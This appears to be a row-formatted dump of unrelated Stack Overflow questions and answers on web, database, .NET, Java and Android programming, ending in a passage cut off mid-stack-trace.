26735001	0	 <p>I wrote a jQuery function:</p> <pre><code>$.fn.fullscreen = function(target){ var elem = $(target)[0]; $d = $(document); if(elem.requestFullscreen || elem.msRequestFullscreen || elem.mozRequestFullScreen || elem.webkitRequestFullscreen){ function FSon(){ $d.trigger('fullscreen').trigger('fullscreenOn').data('fullscreen',true); } function FSoff(){ $d.trigger('fullscreen').trigger('fullscreenOff').data('fullscreen',false); } $d.data('fullscreen',false) .on('fullscreenchange',function(){ if(document.fullscreen) FSon(); else FSoff(); }).on('mozfullscreenchange',function(){ if(document.mozFullScreen) FSon(); else FSoff(); }).on('webkitfullscreenchange',function(){ if(document.webkitIsFullScreen) FSon(); else FSoff(); }).on('MSFullscreenChange',function(){ if(document.msFullscreenElement) FSon(); else FSoff(); }); this.click(function(){ if(elem.requestFullscreen){ elem.requestFullscreen(); }else if(elem.mozRequestFullScreen){ elem.mozRequestFullScreen(); }else if(elem.webkitRequestFullscreen){ elem.webkitRequestFullscreen(); }else if(elem.msRequestFullscreen){ elem.msRequestFullscreen(); } }); }else{ this.remove(); } }; </code></pre> <p>It provides the following features:</p> <ul> <li>Cross-browser (Unless the browser doesn't support <code>requestFullscreen</code> or its prefixed methods)</li> <li>Issues events on <code>$(document)</code>: <code>fullscreen</code> for on/off and <code>fullscreenOn</code>/<code>fullscreenOff</code>.</li> <li>Adds jQuery <code>.data</code> to <code>$(document)</code>: <code>fullscreen</code> is a boolean value.</li> </ul> <p>You can call it like so:</p> <pre><code>$("#myButton").fullscreen("#elementToMakeFullscreen"); </code></pre> <p>Here is the function compressed:</p> <pre><code>function n(){$d.trigger("fullscreen").trigger("fullscreenOn").data("fullscreen",true)}function r(){$d.trigger("fullscreen").trigger("fullscreenOff").data("fullscreen",false)}$d.data("fullscreen",false).on("fullscreenchange",function(){if(document.fullscreen)n();else r()}).on("mozfullscreenchange",function(){if(document.mozFullScreen)n();else r()}).on("webkitfullscreenchange",function(){if(document.webkitIsFullScreen)n();else r()}).on("MSFullscreenChange",function(){if(document.msFullscreenElement)n();else r()});this.click(function(){if(t.requestFullscreen){t.requestFullscreen()}else if(t.mozRequestFullScreen){t.mozRequestFullScreen()}else if(t.webkitRequestFullscreen){t.webkitRequestFullscreen()}else if(t.msRequestFullscreen){t.msRequestFullscreen()}})}else{this.remove()}} </code></pre>
27722123	0	Laravel Validation (unique rule) <p>i use a seperate class for validation so it looks like </p> <pre><code>class UserValidation { protected static $id; protected static $rules = [ 'email' =&gt; 'required|email|unique:users,email,{{ self::$id }}', 'password' =&gt; 'required|alpha_dash|min:4', ]; public static function validate($input, $id) { self::$id = $id; return Validator::make($input, self::$rules); } } </code></pre> <p>so imagine a user wants to update only his password ,so he updates it > submit but then he receive the error <code>this email is already taken</code> ,because laravel cant read <code>{{ self::$id }}</code> ,so how do i solve something like that.</p>
19988943	0	 <p>When you are printing the php variables it prints only the variable, so if $title equals Hello the Java Script interpreter think there a variable in Java Script named Hello. To avoid this you have to print into the HTML the variable value inside quotes.</p> <pre><code>$string = 'World!'; $title = 'Hello'; echo '&lt;a href="#" onclick="doSomething(\'' . $title . '\', \'' . $string '\')" id="'.$title.'" return false;" title="'.$title.'"&gt;'.$title.'&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;'; </code></pre>
11685115	0	 <pre><code>http://www.mysite.com/&lt;?php echo($var); ?&gt; </code></pre> <p>should do it ... If I understood you </p>
36463534	0	 <p>I feel you might be over thinking it; If I'm understanding what you want to do then all you should need in your filter is:</p> <pre><code>ng-repeat="option in DefComList | filter: require : true" </code></pre> <p>Note the true for exact matching as your search for 'MUST' would also match 'noMUST'.</p> <p>Here is a quick fiddle I put together for you: <a href="https://jsfiddle.net/nqya24r4/" rel="nofollow">https://jsfiddle.net/nqya24r4/</a></p> <p>Also if you specifically only want to search the Req property, you can filter using an object instead of a string. Here's another fiddle demonstrating this: <a href="https://jsfiddle.net/t3bw5L5d/2/" rel="nofollow">https://jsfiddle.net/t3bw5L5d/2/</a></p> <p>I hope this helps.</p>
35003479	1	How to hide part of string in python <p>I am just wondering if there is such possibility to hide somehow part of string in python. I am not talking about slicing. I am talking about situation where I have "1somestring," while printing I obtain "somestring". 1 before somestring should be visible for python but not displayable. Or It could be nice to have some kind of indicator glued to string. What I want to achieve is custom sorting. I have list of strings and I want to sort them by addition of digits in front of them. Sorting will proceed basing on digits thus behind digits I can insert whatever I want, but I don’t want to have digits visible. Thanks for answers in advance.</p>
40110202	0	 <p>This is an old question, but now you can just use "BetterPickers":</p> <p><a href="https://github.com/code-troopers/android-betterpickers" rel="nofollow">https://github.com/code-troopers/android-betterpickers</a></p> <p>And use ExpirationPicker.</p> <p>Hope this solves it for some other lost souls who searched Google far and wide.</p>
21868469	0	 <p>this has nothing to do with answering your question, but everything to do with improving your ability to quickly write efficient &amp; well written code:</p> <p>your way:</p> <pre><code>function user_exists($username) { $query = mysql_query("SELECT username FROM users WHERE username='$username'"); if (mysql_num_rows($query) != 0){ return true; } else{ return false; } } </code></pre> <p>better written way: </p> <pre><code>function user_exists($username) { $query = mysql_query("SELECT username FROM users WHERE username='$username'"); if(mysql_num_rows($query) &gt; 0) return true; return false; } </code></pre> <p>sql statement seems fine, as long as you are calling your function and testing it properly it should work. although unless you are sanitizing your $username input before calling user_exists, you have a gaping security exploit right there ;)</p>
20998039	0	 <p>Put this on create of the dbhelper (Sqlite helper) </p> <pre><code>db.execSQL("PRAGMA foreign_keys=ON;"); </code></pre>
3061073	0	 <p>It may be that the embedded device controlling the randomization doesn't have a clock. Perhaps it uses the number of tracks as seed or something similar.</p> <p>If you don't have some external source for random seeds, such as readings from a clock, the software will, when all it's memory is reset, behave deterministically each time it is started.</p>
32041784	0	 <p>Try to use this:</p> <pre><code> ContractResolver = new CustomContractResolver { IgnoreSerializableInterface = true, IgnoreSerializableAttribute = true }; </code></pre>
26257466	0	 <p>So finally got the system up and running, and for all the people facing similar problems, and without munch knowledge of unicorn or ngixn here are the steps:</p> <p>First make sure both services are running (unicorn is the app server and ngixn is the http server), both services should be configured in /etc/init.d/.</p> <p>Stop both services.</p> <p>Check your policies in selinux, here is a good question on how to do it for the same error in PHP <a href="http://stackoverflow.com/questions/23443398/nginx-error-connect-to-php5-fpm-sock-failed-13-permission-denied">nginx error connect to php5-fpm.sock failed (13: Permission denied)</a>, the idea is to be sure selinux ins't interfering with the rad process of the socket (the socket is created by unicorn and readed by ngixn)</p> <p>then you have to edit your config files unicorn.rb and nginx.conf, both should point to a folder different to tmp for the socket here is why <a href="http://serverfault.com/questions/463993/nginx-unix-domain-socket-error/464025#464025">http://serverfault.com/questions/463993/nginx-unix-domain-socket-error/464025#464025</a></p> <p>So finally my configurations looks like this:</p> <p>Part of nginx config file</p> <pre><code>upstream unicorn { server unix:/home/myuser/apps/myapp/shared/socket/unicorn.camicase.sock fail_timeout=0; } </code></pre> <p>part of unicorn config file</p> <pre><code>listen "/home/deployer/apps/stickystreet/shared/socket/unicorn.camicase.sock" </code></pre> <p>then start unicorn a ngixn, if you get a (13: Permission denied) while connecting to upstream error just do a sudo chmod 775 socket/ changing the socket for whatever folder you put your unicorn socket to be stored, the restart ngixn service.</p>
32813349	0	String with Object to Object <p>I have the following string:</p> <pre><code>var arr = "[{'one' : '1'}, {'two' : '2'}]"; </code></pre> <p>How can I pass this string to an object?</p> <p>I've tried the following but it doesn't seem to work:</p> <pre><code>arr.split(','); </code></pre>
38025102	0	how to make ssis map columns based order instead of column names <p>I am working on a project where there are <code>700</code> columns in a remote server and our destination table have columns that starts with underscore for example if there is a <code>"SchoolName"</code> column in the remote server, on our destination table we would have <code>"_SchoolName"</code> or <code>"_School_Name"</code> column. We use to use DTS package to import data "which doesn't use column name to map, instead it uses the order of the column on the select statement to map the column in the destination table". Now we would like upgrading our DTS package to SSIS, but mapping <code>700</code> columns manually has been a nightmare. Is there any way we can map columns based on the column orders instead of column name?</p>
36575887	0	Codeigniter Can't Connect to External SQL Server <p>i'm trying to connecting my codeigniter framework to external database. But it shows error</p> <blockquote> <p>A Database Error Occurred Unable to connect to your database server using the provided settings. Filename: core/Loader.php Line Number: 346</p> </blockquote> <p>then, i insert this one to end of config/database.php</p> <pre><code> echo '&lt;pre&gt;'; print_r($db['default']); echo '&lt;/pre&gt;'; echo 'Connecting to database: ' .$db['default']['database']; $dbh=mysql_connect ( $db['default']['hostname'], $db['default']['username'], $db['default']['password']) or die('Cannot connect to the database because: ' . mysql_error()); mysql_select_db ($db['default']['database']); echo '&lt;br /&gt; Connected OK:' ; die( 'file: ' .__FILE__ . ' Line: ' .__LINE__); </code></pre> <p>But it shows </p> <blockquote> <p>A PHP Error was encountered Severity: 8192 Message: mysql_connect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead Filename: config/database.php Line Number: 79</p> <p>A PHP Error was encountered Severity: Warning Message: mysql_connect(): Can't connect to MySQL server on '167.114.xxx.xxx' (111) Filename: config/database.php Line Number: 79</p> <p>Cannot connect to the database because: Can't connect to MySQL server on '167.114.xxx.xxx' (111)</p> </blockquote> <p>then i trying to create this one outside the codeigniter dir (in public_html)</p> <pre><code>&lt;?php $servername = "167.114.xxx.xxx"; $username = "myusername"; $password = "dbpass"; $database = "dbname"; // Create connection $conn = mysql_connect($servername, $username, $password, $database); // Check connection if ($conn-&gt;connect_error) { die("Connection failed: " . $conn-&gt;connect_error); } echo "Connected successfully"; ?&gt; </code></pre> <p>and it shows connected successfully. So, what should i do? while the db details in config/database.php is same with above</p>
24701732	0	Optional parameters and method overloading <p>I've come across a library method with three parameters, all with default values:</p> <pre><code>virtual M(bool b1 = false, string s1 = null, bool b2 = true) </code></pre> <p>Method <code>M</code> shouldn't have parameter <code>s1</code>, so I want to remove it, but I don't want to make a breaking change in the DLL. Clients can obviously ignore <code>s1</code>, but I don't want to leave it there because <code>M</code> can be overridden and parameter <code>s1</code> is misleading. So here was my attempt:</p> <pre><code>virtual M(bool b1 = false, bool b2 = true) [Obsolete] virtual M(bool b1, string s1, bool b2 = true) </code></pre> <p>I figured that since optional parameters are compiled into the call site, existing clients would carry on calling the method with three parameters, whereas new or recompiled clients not using <code>s1</code> would link to the method with two parameters.</p> <p>Each call to <code>M</code> resolves okay, except this one:</p> <pre><code>M(b2: false); </code></pre> <p>The compiler reports that the call is ambiguous between "M(bool, bool)" and "M(bool, string, bool)".</p> <p>Oddly, in the parameter info (Ctrl+Shift+Space), Visual Studio is still showing the default values on the method with three parameters (despite cleaning and rebuilding, restarting VS, unloading and reloading projects).</p> <p>Obviously I can fix this by calling the new <code>M</code> something different, but I'm curious as to why it's not linking. Should it (and something's just out of step, as the out-of-date parameter info suggests), or does the compiler have a genuine issue with this?</p> <p>EDIT</p> <p>Like @p.s.w.g and as per @JonSkeet's suggestion, I can't reproduce this in fresh code, so I guess the question becomes: is there anything else I can try other than rebuilding, restarting, reloading to force VS to relink this?</p>
25460745	0	How can I get clientHeight value outside backbone render function? <p>I using <a href="http://github.com/zynga/scroller/blob/master/src/EasyScroller.js" rel="nofollow">zynga scroller</a> javascript for scrolling in backbone web-app but clientHeight of rendered element is always 0. This is because script for scrolling is loaded and executed before backbone render method.</p> <pre><code> render: function(){ var persons = this.model; var personsCollection = new PersonsCollection(persons); this.el.innerHTML = _.template( personsTemplate,{data : _.groupBy(personsCollection.toJSON(), 'status')} ); console.log(this.el.clientHeight); // ========= 1500 new EasyScroller(this.el, {scrollingX: false, scrollingY: true}); }, </code></pre> <p>Is possible to execute loading of scroller javascript after render? Or any other solutions? <strong>From scrolling script:</strong></p> <pre><code>EasyScroller.prototype.reflow = function() { this.scroller.setDimensions(this.container.clientWidth, this.container.clientHeight, this.content.offsetWidth, this.content.offsetHeight); }; </code></pre> <p>Thank you for any help!</p>
18004680	0	 <p>I was actually going slightly crazy about this myself. If the data in the csv is encased in quotes, when SSIS imports csv file it includes the quotes in the output of the rows so you actually have to remove the end quotes yourself. Otherwise you are literally trying to cast the quotes and the number to a float. Passing the output of the CSV import to a derived column control will work for you. </p> <p>In the expression field of the derived column -> (DT_R4)REPLACE([Column Name],"\"","")</p> <p>This removes the quotes then cast the value out to a float.</p>
26030711	0	 <p>try this. <div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code> body { margin: 0; padding: 0; background: #EEE; font: 10px/13px'Lucida Sans', sans-serif; } .wrap { overflow: hidden; margin: 50px; } /*20 for 5 box , 25 for 4 box*/ .box { float: left; position: relative; width: 25%; padding-bottom: 25%; color: #FFF; } /*border width control*/ .boxInner { position: absolute; left: 30px; right: 30px; top: 30px; bottom: 30px; overflow: hidden; background: #66F; } .boxInner img { width: 100%; } .gallerycontainer { position: relative; /*Add a height attribute and set to largest image's height to prevent overlaying*/ } /*This hover is for small image*/ .thumbnail:hover img { border: 1px solid transparent; } /*This hide the image that is in the span*/ .thumbnail span { position: absolute; padding: 5px; visibility: hidden; color: black; text-decoration: none; } /*This is for the hidden images, to resize*/ .thumbnail span img { /*CSS for enlarged image*/ border-width: 0; width: 200%; /* you can use % */ height: auto; padding: 2px; } /*When mouse over, the hidden image apear*/ .thumbnail:hover span { position: fixed; visibility: visible; z-index: 200; zoom: 62%; bottom: 0; right: 0; } .thumbnail:hover span img { width: 100%; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;link href="overlay2.css" rel="stylesheet" type="text/css" /&gt; &lt;head&gt; &lt;title&gt;Test&lt;/title&gt; &lt;meta http-equiv="content-type" content="text/html; charset=utf-8" /&gt; &lt;meta name="description" content="" /&gt; &lt;meta name="keywords" content="" /&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="wrap"&gt; &lt;div class="box"&gt; &lt;div class="boxInner"&gt; &lt;a class="thumbnail" href="#"&gt; &lt;img src="http://www.dwuser.com/education/content/creating-responsive-tiled-layout-with-pure-css/images/demo/7.jpg" /&gt;&lt;span&gt;&lt;img src="http://www.dwuser.com/education/content/creating-responsive-tiled-layout-with-pure-css/images/demo/7.jpg" /&gt;&lt;/span&gt; &lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="box"&gt; &lt;div class="boxInner"&gt; &lt;a class="thumbnail" href="#"&gt; &lt;img src="http://www.dwuser.com/education/content/creating-responsive-tiled-layout-with-pure-css/images/demo/6.jpg" /&gt;&lt;span&gt;&lt;img src="http://www.dwuser.com/education/content/creating-responsive-tiled-layout-with-pure-css/images/demo/6.jpg" /&gt;&lt;/span&gt; &lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="box"&gt; &lt;div class="boxInner"&gt; &lt;a class="thumbnail" href="#"&gt; &lt;img src="http://www.dwuser.com/education/content/creating-responsive-tiled-layout-with-pure-css/images/demo/1.jpg" /&gt;&lt;span&gt;&lt;img src="http://www.dwuser.com/education/content/creating-responsive-tiled-layout-with-pure-css/images/demo/1.jpg" /&gt;&lt;/span&gt; &lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="box"&gt; &lt;div class="boxInner"&gt; &lt;a class="thumbnail" href="#"&gt; &lt;img src="http://www.dwuser.com/education/content/creating-responsive-tiled-layout-with-pure-css/images/demo/2.jpg" /&gt;&lt;span&gt;&lt;img src="http://www.dwuser.com/education/content/creating-responsive-tiled-layout-with-pure-css/images/demo/2.jpg" /&gt;&lt;/span&gt; &lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="box"&gt; &lt;div class="boxInner"&gt; &lt;a class="thumbnail" href="#"&gt; &lt;img src="http://www.dwuser.com/education/content/creating-responsive-tiled-layout-with-pure-css/images/demo/3.jpg" /&gt;&lt;span&gt;&lt;img src="http://www.dwuser.com/education/content/creating-responsive-tiled-layout-with-pure-css/images/demo/3.jpg" /&gt;&lt;/span&gt; &lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="box"&gt; &lt;div class="boxInner"&gt; &lt;a class="thumbnail" href="#"&gt; &lt;img src="http://www.dwuser.com/education/content/creating-responsive-tiled-layout-with-pure-css/images/demo/4.jpg" /&gt;&lt;span&gt;&lt;img src="http://www.dwuser.com/education/content/creating-responsive-tiled-layout-with-pure-css/images/demo/4.jpg" /&gt;&lt;/span&gt; &lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="box"&gt; &lt;div class="boxInner"&gt; &lt;a class="thumbnail" href="#"&gt; &lt;img src="http://www.dwuser.com/education/content/creating-responsive-tiled-layout-with-pure-css/images/demo/8.jpg" /&gt;&lt;span&gt;&lt;img src="http://www.dwuser.com/education/content/creating-responsive-tiled-layout-with-pure-css/images/demo/8.jpg" /&gt;&lt;/span&gt; &lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt;</code></pre> </div> </div> </p>
14801477	0	Mixing backbone.js routers and rails controllers <p>I'm currently attempting to wrap my head around grafting backbone.js into my rails application. For starters, I want to build it into a a specific part of the rails application at /applications. With that said I have a rails resource "resources :applications" which gives me localhost:3000/applications. Now when I instantiate backbone for /applications I get anchor tags for the backbone routing at that rails resource. IE localhost:3000/applications/#applications/5.</p> <p>Given that I'm only going to be using backbone at specific parts of the rails app, thus not making it a single page app, is this the right way to do things? The URL appears to be a bit redundant.</p> <p>The correct answer might be that I need to do away with the backbone router? If so, then how can :id be passed to the backbone application when attempting to look up a collection / model.</p> <p>The point of me using backbone is to help organize a particular section of the rails app that will be javascript heavy.</p> <p>I should mention that I can change the router to something like:</p> <pre><code>routes: '': 'index' ':id': 'show' </code></pre> <p>which will give me the url of localhost:3000/applications/#/1 - however I think this paints me into a corner and will not allow me to use backbone on other rails resources. If I were to have localhost:3000/dashboard with backbone invoked then the wrong backbone.js functionality would get executed.</p> <p>Another thought would be to have an invocation of a backbone router per rails resource. I could use the aforementioned routes code since the router would only be invoked for that rails resource.</p>
11222163	0	 <p>"YUV" is not a complete format.</p> <p>From <a href="http://en.wikipedia.org/wiki/YUV" rel="nofollow">this wikipedia article</a> you can get the conversions of YUV411,YUV422,YUV420p to YUV444. Combine the inverse of these transforms with your RGB conversion and you'll get the result.</p> <p>The thing you are missing: one RGB triple may produce a number (not one) of YUV components this way.</p> <ol> <li>YUV444 3 bytes per pixel</li> <li>YUV422 4 bytes per 2 pixels</li> <li>YUV411 6 bytes per 4 pixels</li> <li>YUV420p 6 bytes per 4 pixels, reordered</li> </ol> <p>First, YUV422</p> <p>Y'UV422 to RGB888 conversion</p> <p>Input: Read 4 bytes of Y'UV (u, y1, v, y2 )</p> <p>Output: Writes 6 bytes of RGB (R, G, B, R, G, B)</p> <p>Then YUV4111</p> <p>Y'UV411 to RGB888 conversion</p> <p>Input: Read 6 bytes of Y'UV</p> <p>Output: Writes 12 bytes of RGB</p> <pre><code>// Extract YUV components u = yuv[0]; y1 = yuv[1]; y2 = yuv[2]; v = yuv[3]; y3 = yuv[4]; y4 = yuv[5]; rgb1 = Y'UV444toRGB888(y1, u, v); rgb2 = Y'UV444toRGB888(y2, u, v); rgb3 = Y'UV444toRGB888(y3, u, v); rgb4 = Y'UV444toRGB888(y4, u, v); </code></pre> <p>Similar with 420p, but the YUV values are distributed over the rectangle there - see the Wikipedia's diagram and image for that.</p> <p>Basically, you should fetch 4 RGB pixels, convert each one of them to YUV (using your hopefully valid 444 converter) and then store the YUV[4] array in a tricky way shown at the wikipedia.</p>
17900196	0	 <p>Here's an example which changes the text inside a division based on the response from ur actionmethod...</p> <pre><code>//a class with properties. Class Priveleges{ Public string StatusMessage{get;set;} Public int StatusCode{get;set;} } //code inside controller [HttpGet] Public JsonResult Index{ Priveleges obj=DecidePriveleges(): Return Json(obj,allowget.true); } Private Priveleges DecidePriveleges(){ Prilveleges obj; //prepare object based on server response If(response=="high"){ obj=new Priveleges(){ StatusMessage="high priveleges", StatusCode=1} }else if(response=="medium){ obj=new Priveleges(){ StatusMessage="medium priveleges", StatusCode=2} }else if(response=="low"){ Obj=new Priveleges(){ StatusMessage="low priveleges"‚ StatusCode=3} } Return obj; //code inside ur view //suppose you want to change the text inside //ur div when the page loads.. &lt;div id="statusDiv"&gt;&lt;/div&gt; //here is ur javascript. $(document).ready(function(){ $.getJSON('/controller/Index',function(data){ $('#statusDiv').text( 'You have '+data.StatusMessage); }); }); //here data,the parameter of getJson method. //holds the data coming from our action //method... </code></pre> <p>Sorry for the code format..posted the code from my mobile...</p> <p>hope this small examle may be helpful..</p>
2126290	0	 <p>You need the following in your <code>app.yaml</code>:</p> <pre><code>- url: /account script: account/account.py - url: /game script: game/game.py - url: .* script: main.py </code></pre> <p>BTW, I suggest you try to forget backslashes (characters like this: \ ) -- think <em>normal</em> slashes (characters like this: / ). Backslashes are a Windows anomaly (and mostly unneeded even there -- Python will happily accept normal slashes in lieu of backslashes in filepaths), not used as path separators in URLs nor on Unix-y operating systems (including Linux and MacOSX). I mention this because you speak of "requests that go to \account\ and \game\ respectfully" and there are no such things -- no request goes to a path with backslashes, it will always be <em>forward</em> slashes.</p>
21459825	0	WCF service reference added with Generate Asynchronous option <p>i add the wcf service reference and tick the option called Generate Asynchronous Operation. i found proxy code was added like this way....</p> <pre><code>public interface ICalculator { [System.ServiceModel.OperationContractAttribute(Action="http://tempuri.org/ICalculator/Add", ReplyAction="http://tempuri.org/ICalculator/AddResponse")] double Add(double n1, double n2); [System.ServiceModel.OperationContractAttribute(AsyncPattern=true, Action="http://tempuri.org/ICalculator/Add", ReplyAction="http://tempuri.org/ICalculator/AddResponse")] System.IAsyncResult BeginAdd(double n1, double n2, System.AsyncCallback callback, object asyncState); double EndAdd(System.IAsyncResult result); } </code></pre> <p>now i want to call wcf service asynchronously event driven way. so please anyone help me how to call wcf service asynchronously with event driven way. if possible give a small sample code or drive me to right url from where i can get the knowledge. thanks</p>
22718685	0	 <p>Jersey makes the process very easy, my service class worked well with JSON, all I had to do is to add the dependencies in the pom.xml</p> <pre><code>@Path("/customer") public class CustomerService { private static Map&lt;Integer, Customer&gt; customers = new HashMap&lt;Integer, Customer&gt;(); @POST @Path("save") @Consumes(MediaType.APPLICATION_JSON) @Produces(MediaType.APPLICATION_JSON) public SaveResult save(Customer c) { customers.put(c.getId(), c); SaveResult sr = new SaveResult(); sr.sucess = true; return sr; } @GET @Produces(MediaType.APPLICATION_JSON) @Path("{id}") public Customer getCustomer(@PathParam("id") int id) { Customer c = customers.get(id); if (c == null) { c = new Customer(); c.setId(id * 3); c.setName("unknow " + id); } return c; } } </code></pre> <p>And in the pom.xml</p> <pre class="lang-xml prettyprint-override"><code>&lt;dependency&gt; &lt;groupId&gt;org.glassfish.jersey.containers&lt;/groupId&gt; &lt;artifactId&gt;jersey-container-servlet&lt;/artifactId&gt; &lt;version&gt;2.7&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.glassfish.jersey.media&lt;/groupId&gt; &lt;artifactId&gt;jersey-media-json-jackson&lt;/artifactId&gt; &lt;version&gt;2.7&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.glassfish.jersey.media&lt;/groupId&gt; &lt;artifactId&gt;jersey-media-moxy&lt;/artifactId&gt; &lt;version&gt;2.7&lt;/version&gt; &lt;/dependency&gt; </code></pre>
32050246	0	facebook api version 2.4 not returning email from owin facebookauthentication options? <p>I have created new facebook app for my application. Now this app is with api version 2.4. I was using below code for login with owin.</p> <pre><code> app.UseFacebookAuthentication(new FacebookAuthenticationOptions() { AppId = "xx", AppSecret = "xxx", Scope = { "email", "public_profile" } }); </code></pre> <p>This code was working fine and returning me the email address with older facebook app with api version 2.3. But now with the api version2.4, it is not returning email. It is asking user for permission to share email bur not returning email in login info.</p> <p>Is there any modification with api 2.4 which I am missing ?? Please suggest. Thanks in advance . .</p>
1495097	0	 <p>That's just a normal UIView subclass which draws the gradient background using Core Graphics (I don't expect it to be an image) and has some UIButtons as subviews (Either staticly positioned and added to the view or all being positioned by code. Doing it staticly will make things easier but less reusable)</p>
6101464	0	 <p>You are trying to assign a const pointer to a non const pointer. If you make t a "const char*" in fun1() it will be fine.</p>
24488559	0	 <pre><code>$myArr3 = array_merge_recursive($myArr1, $myArr2); foreach($myArr3 as $key =&gt; $value){ if(!is_array($myArr3[$key])){ continue; } if($value[0] === $value[1]){ $myArr3[$key] = $value[0]; }else{ $myArr3[$key] = implode(' ', $value); } } // print_r($myArr3); </code></pre>
23604438	0	 <p>Do you experience the same behaviour if you run the experimental instance without attaching a debuggger? If yes, check your exception handling settings for debug mode. Probably throwing is disabled which might be the reason why everything seems to work, because you won´t get notified about exceptions... </p>
34180763	0	 <p>In symfony, you only have to persist a new entity. If you update an existing entity found by your entity manager and then flush, your entity will be updated in database even if you didn't persist it.</p> <p>Edit : you can detach an entity from the entity manager before flushing it using this line of code :</p> <pre><code>$em-&gt;detach($formModelEntity); </code></pre>
37776557	1	Cannot print a specific number from a sublist within a list <p>I want to be able to print the 3rd number with in a list of sublist. I am okay with interacting through the list and sublist, but unsure with how i can print the 3rd number of each sublist. for example <code>[[1,2,3,4][1,2,3,4][,1,2,3,4][1,2,3,4]]</code> i was to achieve <code>3,3,3,3</code></p> <p>I have manage this so far, being able to print out all numbers with the sublists</p> <pre><code>def Contact(num):&lt;br/&gt; for i in range(len(num)):&lt;br/&gt; for j in range(len(num[i])):&lt;br/&gt; print(num[i][j]) Contact([[1,2,3,4][1,2,3,4][,1,2,3,4][1,2,3,4]]) </code></pre>
9558912	0	 <p>How about this:</p> <pre><code>function clean($text) { $parts = explode(' ', $text); foreach ($parts as $key =&gt; $value) $parts[$key] = preg_replace('/\s/', ' ', $value); return implode(' ', $parts); } </code></pre> <p>Indeed, if instead of cleaning the JSON file like this, you can use <a href="http://php.net/manual/en/function.json-encode.php" rel="nofollow">json_encode</a> to create it, you will get rid this problem in a previous step.</p>
10748650	0	The program is showing null pointer exception....converting double to int <p>My program causes a null pointer exception... I think the problem is in converting lat3 and lon3 from double to int... Is there some other way of parsing the location in double to int to give it to GeoPoint?</p> <p>Code:</p> <pre><code>public class mapLoc extends com.google.android.maps.MapActivity implements LocationListener { TextView t ; int lat2,lon2,lat3,lon3; Double presentlon,presentlat; Drawable d; MapView mv; MapController mc; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.map); t = (TextView)findViewById(R.id.maptxt); Intent intent = getIntent(); Bundle extra = intent.getExtras(); String latitude = extra.getString("latitude"); String longitude = extra.getString("longitude"); t.append(latitude+"\t"); t.append(longitude); Float lat1 = Float.parseFloat(latitude); Float lon1 = Float.parseFloat(longitude); lat2 = (int) (lat1*1E6); lon2 = (int) (lon1*1E6); mv = (MapView)findViewById(R.id.maps); mc = mv.getController(); mc.setZoom(14); mv.setBuiltInZoomControls(true); mv.displayZoomControls(true); mv.setClickable(true); List&lt;Overlay&gt; mapOverlays = mv.getOverlays(); Drawable drawable = this.getResources().getDrawable(R.drawable.marker); overlay itemizedoverlay = new overlay(drawable, this); lat3 = (int)(presentlat * 1E6); lon3 = (int)(presentlon * 1E6); GeoPoint point = new GeoPoint(lat3, lon3); OverlayItem overlayitem = new OverlayItem(point, "Hello, user", "This is your present location"); mc.animateTo(point); itemizedoverlay.addOverlay(overlayitem); mapOverlays.add(itemizedoverlay); GeoPoint point2 = new GeoPoint(lat2, lon2); OverlayItem overlayitem2 = new OverlayItem(point2, "This is your","saved location"); itemizedoverlay.addOverlay(overlayitem2); mapOverlays.add(itemizedoverlay); } @Override public void onLocationChanged(Location location) { presentlat = location.getLatitude(); presentlon = location.getLongitude(); } @Override public void onProviderDisabled(String provider) { // TODO Auto-generated method stub } @Override public void onProviderEnabled(String provider) { // TODO Auto-generated method stub } @Override public void onStatusChanged(String provider, int status, Bundle extras) { // TODO Auto-generated method stub } @Override protected boolean isRouteDisplayed() { // TODO Auto-generated method stub return false; }; } </code></pre> <p>Logcat errors:</p> <pre><code>05-25 10:21:52.444: W/dalvikvm(342): threadid=3: thread exiting with uncaught exception (group=0x4001b188) 05-25 10:21:52.444: E/AndroidRuntime(342): Uncaught handler: thread main exiting due to uncaught exception 05-25 10:21:52.454: E/AndroidRuntime(342): java.lang.RuntimeException: Unable to start activity ComponentInfo{com.loc/com.loc.mapLoc}: java.lang.NullPointerException 05-25 10:21:52.454: E/AndroidRuntime(342): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2496) 05-25 10:21:52.454: E/AndroidRuntime(342): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2512) 05-25 10:21:52.454: E/AndroidRuntime(342): at android.app.ActivityThread.access$2200(ActivityThread.java:119) 05-25 10:21:52.454: E/AndroidRuntime(342): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1863) 05-25 10:21:52.454: E/AndroidRuntime(342): at android.os.Handler.dispatchMessage(Handler.java:99) 05-25 10:21:52.454: E/AndroidRuntime(342): at android.os.Looper.loop(Looper.java:123) 05-25 10:21:52.454: E/AndroidRuntime(342): at android.app.ActivityThread.main(ActivityThread.java:4363) 05-25 10:21:52.454: E/AndroidRuntime(342): at java.lang.reflect.Method.invokeNative(Native Method) 05-25 10:21:52.454: E/AndroidRuntime(342): at java.lang.reflect.Method.invoke(Method.java:521) 05-25 10:21:52.454: E/AndroidRuntime(342): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:860) 05-25 10:21:52.454: E/AndroidRuntime(342): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:618) 05-25 10:21:52.454: E/AndroidRuntime(342): at dalvik.system.NativeStart.main(Native Method) 05-25 10:21:52.454: E/AndroidRuntime(342): Caused by: java.lang.NullPointerException 05-25 10:21:52.454: E/AndroidRuntime(342): at 